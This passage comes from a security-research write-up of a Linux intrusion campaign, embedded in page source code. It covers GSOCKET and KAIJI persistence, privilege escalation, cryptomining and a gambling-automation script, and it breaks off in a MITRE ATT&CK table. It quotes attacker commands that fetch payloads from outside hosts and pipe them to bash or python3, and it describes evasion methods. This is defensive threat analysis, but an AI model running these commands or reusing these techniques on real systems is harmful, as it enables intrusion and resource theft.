\",(0,n.jsx)(e.code,{children:\"/dev/shm/.gs-1000\"}),\" directory to download and store its binary in shared memory. Additionally, by default, it sets up an \",(0,n.jsx)(e.code,{children:\"/htop\"}),\" directory under \",(0,n.jsx)(e.code,{children:\"/home/user/.config/htop/\"}),\" to store both the GSOCKET binary and the secret key used for its operations.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image21.png\",alt:\"GSOCKET Crontab Persistence\",title:\"GSOCKET Crontab Persistence\",width:\"1901\",height:\"772\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The binary is executed under the name of a kernel process using the \",(0,n.jsx)(e.code,{children:\"exec -a [process_name]\"}),\" command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"When decoding the payload, we see how the \",(0,n.jsx)(e.code,{children:\"defunct.dat\"}),\" secret key is used as an argument to execute the \",(0,n.jsx)(e.code,{children:\"defunct\"}),\" binary, which is masqueraded as \",(0,n.jsx)(e.code,{children:\"[raid5wq]\"}),\" through the use of \",(0,n.jsx)(e.code,{children:\"exec -a \"}),\"command:\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (\",(0,n.jsx)(e.code,{children:\"rc.local\"}),\") and Systemd. GSOCKET enumerates potential persistence locations:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image29.png\",alt:\"GSOCKET Persistence Technique Enumeration\",title:\"GSOCKET Persistence Technique Enumeration\",width:\"1428\",height:\"933\"})}),`\n`,(0,n.jsx)(e.p,{children:\"GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image14.png\",alt:\"GSOCKET Webhook Capabilities\",title:\"GSOCKET Webhook Capabilities\",width:\"1999\",height:\"823\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image16.png\",alt:\"GSOCKET Timestomping Capability\",title:\"GSOCKET Timestomping Capability\",width:\"806\",height:\"905\"})}),`\n`,(0,n.jsx)(e.p,{children:\"These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Additionally, a PHP payload was fetched from an external IP and saved as \",(0,n.jsx)(e.code,{children:\"404.php\"}),\", likely functioning as a backdoor for future access. We did not manage to obtain this payload.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"post-compromise-dwell-time\",children:\"Post compromise dwell time\"}),`\n`,(0,n.jsx)(e.p,{children:\"After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.\"}),`\n`,(0,n.jsx)(e.p,{children:\"After regaining access to the host, a newer version of the KAIJI malware was deployed.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"kaiji-malware-a-comparison-to-previous-samples\",children:\"KAIJI malware: a comparison to previous samples\"}),`\n`,(0,n.jsx)(e.p,{children:\"While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image2.png\",alt:\"KAIJI Download.sh Script\",title:\"KAIJI Download.sh Script\",width:\"1999\",height:\"925\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The same Shell script is found in other reports where this script is used to deploy KAIJI.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of \",(0,n.jsx)(e.code,{children:\"Chaos\"}),\" (KAIJI) can be found in their blog post\",(0,n.jsx)(e.a,{href:\"https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/\",rel:\"nofollow\",children:\" here\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Using \",(0,n.jsx)(e.a,{href:\"https://github.com/google/bindiff\",rel:\"nofollow\",children:\"BinDiff\"}),\", a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image18.png\",alt:\"Bindiff for Old and New Version of KAIJI\",title:\"Bindiff for Old and New Version of KAIJI\",width:\"1999\",height:\"643\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Delving deeper into the disassembly, we identified a function named \",(0,n.jsx)(e.code,{children:\"main_Link\"}),\". This function is responsible for decoding the C2 server address used by the malware.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image31.png\",alt:\"KAIJI main_link Function\",title:\"KAIJI main_link Function\",width:\"1999\",height:\"988\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Once decoded, the function searches for the \",(0,n.jsx)(e.code,{children:\"|(odk)/*-\"}),\" postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image12.png\",alt:\"KAIJI Dynamic Analysis - Part 1\",title:\"KAIJI Dynamic Analysis - Part 1\",width:\"1999\",height:\"735\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"After execution, KAIJI creates several files in the \",(0,n.jsx)(e.code,{children:\"/etc/\"}),\" and \",(0,n.jsx)(e.code,{children:\"/dev/\"}),\" directories, \",(0,n.jsx)(e.code,{children:\"/etc/id.services.conf\"}),\", \",(0,n.jsx)(e.code,{children:\"/etc/32678\"}),\", \",(0,n.jsx)(e.code,{children:\"/dev/.img\"}),\" and \",(0,n.jsx)(e.code,{children:\"/dev/.old\"}),\". These scripts are places to establish persistence.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Two services are set up, \",(0,n.jsx)(e.code,{children:\"/etc/init.d/linux_kill\"}),\" and \",(0,n.jsx)(e.code,{children:\"crond.service\"}),\". \",(0,n.jsx)(e.code,{children:\"crond.service\"}),\" is executed by Systemd, while \",(0,n.jsx)(e.code,{children:\"linux_kill\"}),\" is used for SysVinit persistence.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"After reloading the Systemd daemon, the first network connection to the C2 is attempted.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image18.png\",alt:\"KAIJI Dynamic Analysis - Part 2\",title:\"KAIJI Dynamic Analysis - Part 2\",width:\"1999\",height:\"643\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Next, the \",(0,n.jsx)(e.code,{children:\"Systemd Late generator\"}),\" service file is created. More information on the workings of \",(0,n.jsx)(e.code,{children:\"Systemd\"}),\", and different ways of establishing persistence through this method can be found in our recent blog series dubbed \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/primer-on-persistence-mechanisms\",rel:\"nofollow\",children:\"Linux Detection Engineering - A primer on persistence mechanisms\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"KAIJI creates the \",(0,n.jsx)(e.code,{children:\"/boot/System.img.config\"}),\" file, which is an executable that is executed through the previously deployed \",(0,n.jsx)(e.code,{children:\"Systemd\"}),\" services. This binary, is amongst other binaries, another way of establishing persistence.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image26.png\",alt:\"KAIJI Dynamic Analysis - Part 3\",title:\"KAIJI Dynamic Analysis - Part 3\",width:\"1999\",height:\"481\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Next, KAIJI adjusts the \",(0,n.jsx)(e.code,{children:\"SELinux\"}),\" policies to allow unauthorized actions. It searches audit logs for denied operations related to \",(0,n.jsx)(e.code,{children:\"System.img.conf\"}),\", generates a new \",(0,n.jsx)(e.code,{children:\"SELinux\"}),\" policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; \",(0,n.jsx)(e.code,{children:\"/usr/lib/libd1rpcld.so\"}),\" and \",(0,n.jsx)(e.code,{children:\"/.img\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Right after, \",(0,n.jsx)(e.code,{children:\"/etc/crontab\"}),\" is altered through an echo command, ensuring that the \",(0,n.jsx)(e.code,{children:\"/.img\"}),\" file is executed by root on a set schedule.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image20.png\",alt:\"KAIJI Dynamic Analysis - Part 4\",title:\"KAIJI Dynamic Analysis - Part 4\",width:\"1999\",height:\"762\"})}),`\n`,(0,n.jsx)(e.p,{children:\"KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image17.png\",alt:\"KAIJI Dynamic Analysis - Part 5\",title:\"KAIJI Dynamic Analysis - Part 5\",width:\"1999\",height:\"237\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"KAIJI uses the \",(0,n.jsx)(e.code,{children:\"renice\"}),\" command to grant PID \",(0,n.jsx)(e.code,{children:\"2957\"}),\", one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Finally, we see a trace of \",(0,n.jsx)(e.code,{children:\"cron\"}),\" executing the \",(0,n.jsx)(e.code,{children:\"/.img\"}),\", which was planted in the \",(0,n.jsx)(e.code,{children:\"/etc/crontab\"}),\" file earlier.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"the-saga-continues\",children:\"The saga continues\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the \",(0,n.jsx)(e.code,{children:\"www-data\"}),\" user through the Apache2 process using the command:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`sh -c wget http://91.92.241[.]103:8002/gk.php\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying \",(0,n.jsx)(e.code,{children:\"pspy64\"}),\". \",(0,n.jsx)(e.code,{children:\"Pspy\"}),\" is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities\\u200B.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Notably, \",(0,n.jsx)(e.code,{children:\"pspy64\"}),\" was executed by the \",(0,n.jsx)(e.code,{children:\"[rcu_preempt]\"}),\" parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Further attempts at privilege escalation involved exploiting \",(0,n.jsx)(e.code,{children:\"CVE-2021-4034\"}),\", also known as \",(0,n.jsx)(e.code,{children:\"pwnkit\"}),\". This vulnerability affects the \",(0,n.jsx)(e.code,{children:\"pkexec\"}),\" component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"custom-built-binaries\",children:\"Custom built binaries\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Right after, the attackers attempted to download a custom-built malware named \",(0,n.jsx)(e.code,{children:\"apache2\"}),\" and \",(0,n.jsx)(e.code,{children:\"apache2v86\"}),\" from:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"http://62.72.22[.]91/apache2\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"http://62.72.22[.]91/apache2v86\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.\"}),`\n`,(0,n.jsx)(e.p,{children:\"While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image33.png\",alt:\"Apache2 XOR-Encoded Strings\",title:\"Apache2 XOR-Encoded Strings\",width:\"1999\",height:\"1130\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The XOR key used to encode the strings was identified as \",(0,n.jsx)(e.code,{children:\"0x79\"}),\" (or the character \",(0,n.jsx)(e.code,{children:\"y\"}),\"). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1\nsec-ch-ua: \"Chromium\";v=\"122\", \"Google Chrome\";v=\"122\", \"Not-A.Brand\";v=\"99\nsec-ch-ua-platform: \"Windows\"\nupgrade-insecure-requests: 1\naccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nreferer: https://twitter[.]com\naccept-language: ru,en-US;q=0.9\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it\\u2019s clear that this piece of software was not yet fully developed or operational.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"additional-reconnaissance\",children:\"Additional reconnaissance\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The attackers continued to use tools from The Hacker\\u2019s Choice, by downloading and executing \",(0,n.jsx)(e.a,{href:\"https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"whatserver.sh\"})}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:\"This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"mining-activities\",children:\"Mining activities\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the \",(0,n.jsx)(e.code,{children:\"www-data\"}),\" user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called \",(0,n.jsx)(e.code,{children:\"[mm_percpu_wq]\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:\"After decoding the base64 contents, we get a very familiar looking output:\"}),`\n`,(0,n.jsx)(e.p,{children:\"Through our behavioral rules, we see the threat actor listing the current user\\u2019s crontab entries, and echoing a payload directly into the crontab.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This command tries to download \",(0,n.jsx)(e.code,{children:\"http://gcp.pagaelrescate[.]com:8080/ifindyou\"}),\" every minute, and pipe it to bash. Looking at the contents of \",(0,n.jsx)(e.code,{children:\"ifindyou\"}),\", we see the following Bash script:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image8.png\",alt:\"Stage 1 - ifindyou.sh\",title:\"Stage 1 - ifindyou.sh\",width:\"1697\",height:\"1563\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"This script gathers hostname and IP information, downloads the \",(0,n.jsx)(e.code,{children:\"SystemdXC\"}),\" archive from \",(0,n.jsx)(e.code,{children:\"http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC\"}),\" (XMRIG), stores this in \",(0,n.jsx)(e.code,{children:\"/tmp/SystemdXC\"}),\", extracts the archive and executes it with the necessary parameters to start mining Bitcoin.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"When examining the mining command, we can see how the malware configures XMRIG:\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This command connects to the \",(0,n.jsx)(e.code,{children:\"unmineable.com\"}),\" mining pool, using the infected machine\\u2019s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address \",(0,n.jsx)(e.code,{children:\"1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image1.png\",alt:\"Bitcoin Address Lookup\",title:\"Bitcoin Address Lookup\",width:\"1984\",height:\"1999\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image32.png\",alt:\"Bitcoin Transaction\",title:\"Bitcoin Transaction\",width:\"1788\",height:\"1999\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Interestingly, the output address for this transaction points to a well-known \",(0,n.jsx)(e.a,{href:\"https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference\",rel:\"nofollow\",children:\"hot wallet\"}),\" associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image10.png\",alt:\"Binance Wallet Destination\",title:\"Binance Wallet Destination\",width:\"1984\",height:\"456\"})}),`\n`,(0,n.jsx)(e.p,{children:\"When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Looking at this payload, we can see the following contents:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image23.png\",alt:\"Stage 2 - cycnet.sh\",title:\"Stage 2 - cycnet.sh\",width:\"1636\",height:\"606\"})}),`\n`,(0,n.jsx)(e.p,{children:\"This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:\"}),`\n`,(0,n.jsx)(e.p,{children:\"The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.\"}),`\n`,(0,n.jsx)(e.p,{children:\"Upon closer examination, we identified the following key components of the script:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Global Variables:\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"usuario\"}),\": Stores the user ID for managing the session.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"apuesta\"}),\": Represents the bet amount.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"ganancias\"}),\": Tracks the winnings and losses.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"saldo_actual\"}),\": Holds the current account balance.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image3.png\",alt:\"enviador_slot Global Variables\",title:\"enviador_slot Global Variables\",width:\"636\",height:\"304\"})}),`\n`,(0,n.jsxs)(e.h4,{id:\"understanding-the-obteneruid-function\",children:[\"Understanding the \",(0,n.jsx)(e.code,{children:\"obteneruid\"}),\" Function\"]}),`\n`,(0,n.jsx)(e.p,{children:\"This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image27.png\",alt:\"enviador_slot obteneruid Function\",title:\"enviador_slot obteneruid Function\",width:\"1686\",height:\"1503\"})}),`\n`,(0,n.jsxs)(e.h4,{id:\"understanding-the-enviardatos-function\",children:[\"Understanding the \",(0,n.jsx)(e.code,{children:\"enviardatos\"}),\" Function\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"This function sends game data or status updates back to \",(0,n.jsx)(e.code,{children:\"gcp.pagaelrescate[.]com\"}),\", logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image4.png\",alt:\"enviador_slot enviardatos Function\",title:\"enviador_slot enviardatos Function\",width:\"1131\",height:\"217\"})}),`\n`,(0,n.jsxs)(e.h4,{id:\"understanding-the-hacerjugada-function\",children:[\"Understanding the \",(0,n.jsx)(e.code,{children:\"hacerjugada\"}),\" Function\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"hacerjugada\"}),\" function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls \",(0,n.jsx)(e.code,{children:\"completarbono()\"}),\" to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image28.png\",alt:\"enviador_slot hacerjugada Function\",title:\"enviador_slot hacerjugada Function\",width:\"1694\",height:\"1899\"})}),`\n`,(0,n.jsxs)(e.h4,{id:\"understanding-the-completarbono-function\",children:[\"Understanding the \",(0,n.jsx)(e.code,{children:\"completarbono\"}),\" Function\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the \",(0,n.jsx)(e.code,{children:\"enviardatos()\"}),\" function.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/betting-on-bots/image6.png\",alt:\"enviador_slot completarbono Function\",title:\"enviador_slot completarbono Function\",width:\"1698\",height:\"1863\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"likely-used-for-testing-purposes\",children:\"Likely Used for Testing Purposes\"}),`\n`,(0,n.jsx)(e.p,{children:\"It\\u2019s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"ref6138-through-mitre-attck\",children:\"REF6138 through MITRE ATT\u0026CK\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic uses the \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"MITRE ATT\u0026CK tactics, techniques and sub-techniques used\"})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Tactic\"}),(0,n.jsx)(e.th,{children:\"Technique\"}),(0,n.jsx)(e.th,{children:\"Sub-Technique\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Resource Development\"}),(0,n.jsx)(e.td,{children:\"T1587: Develop Capabilities\"}),(0,n.jsx)(e.td,{children:\"Malware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1588: Obtain Capabilities\"}),(0,n.jsx)(e.td,{children:\"Tool\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1608: Stage Capabilities\"}),(0,n.jsx)(e.td,{children:\"Upload Malware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Upload Tool\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Initial Access\"}),(0,n.jsx)(e.td,{children:\"T1190: Exploit Public-Facing Application\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Execution\"}),(0,n.jsx)(e.td,{children:\"T1059: Command and Scripting Interpreter\"}),(0,n.jsx)(e.td,{children:\"Unix Shell\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"Python\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1053: Scheduled Task/Job\"}),(0,n.jsx)(e.td,{children:\"Cron\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Persistence\"}),(0,n.jsx)(e.td,{children:\"T1546: Event Triggered Execution\"}),(0,n.jsx)(e.td,{children:\"Unix Shell Configuration Modification\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1053: Scheduled Task/Job\"}),(0,n.jsx)(e.td,{children:\"Cron\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1505: Server Software Component\"}),(0,n.jsx)(e.td,{children:\"Web Shell\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Privilege Escalation\"}),(0,n.jsx)(e.td,{children:\"T1068: Exploitation for Privilege Escalation\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Defense Evasion\"}),(0,n.jsx)(e.td,{children:\"T1140: Deobfuscate/Decode Files or Information\"}),(0,n.jsx)(e.td,{})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1222: File and Directory Permissions Modification\"}),(0,n.jsx)(e.td,{children:\"Linux and Mac File and Directory Permissions Modification\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1564: Hide Artifacts\"}),(0,n.jsx)(e.td,{children:\"Hidden Files and Directories\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1070: Indicator Removal\"}),(0,n.jsx)(e.td,{children:\"Timestomp\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1036: Masquerading\"}),(0,n.jsx)(e.td,{children:\"Masquerade Task or Service\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{}),(0,n.jsx)(e.td,{children:\"T1027: Obfuscated Files or 